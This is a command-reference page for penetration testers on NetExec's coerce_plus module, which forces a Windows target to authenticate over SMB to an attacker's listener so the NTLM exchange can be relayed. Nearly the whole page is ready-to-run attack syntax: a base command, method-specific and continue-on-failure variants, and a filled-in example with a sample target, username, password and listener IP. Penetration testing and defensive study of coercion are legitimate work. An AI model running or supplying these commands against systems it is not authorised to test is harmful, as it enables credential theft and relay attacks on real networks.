Command Manager

NetExec coerce_plus Module

Unified coercion module — replaces the individual petitpotam/printerbug/dfscoerce/shadowcoerce/mserven modules. Tries every known coercion method (or one selected via METHOD) and triggers SMB authentication back to your listener. The recommended entry point in NetExec v1.4+ for any coerce-then-relay chain.

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated

Tool
nxc
Category
Credential Attacks / NTLM Relay & Coercion
Platform
linux
Requires
password
Protocols
SMB, RPC

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

nxc smb <target> -u '<user>' -p '<password>' -M coerce_plus -o LISTENER=<attacker-ip>

Credential variants

The same attack using a different authentication material.

Specific Method requires password

nxc smb <target> -u '<user>' -p '<password>' -M coerce_plus -o LISTENER=<attacker-ip> METHOD=dfscoerce

Continue On Failure requires password

nxc smb <target> -u '<user>' -p '<password>' -M coerce_plus -o LISTENER=<attacker-ip> ALWAYS_CONTINUE=true

Examples

nxc smb 10.10.10.20 -u jdoe -p 'Password123!' -M coerce_plus -o LISTENER=10.10.14.5

Tags

netexec nxc coerce_plus petitpotam printerbug dfscoerce ntlm-relay

References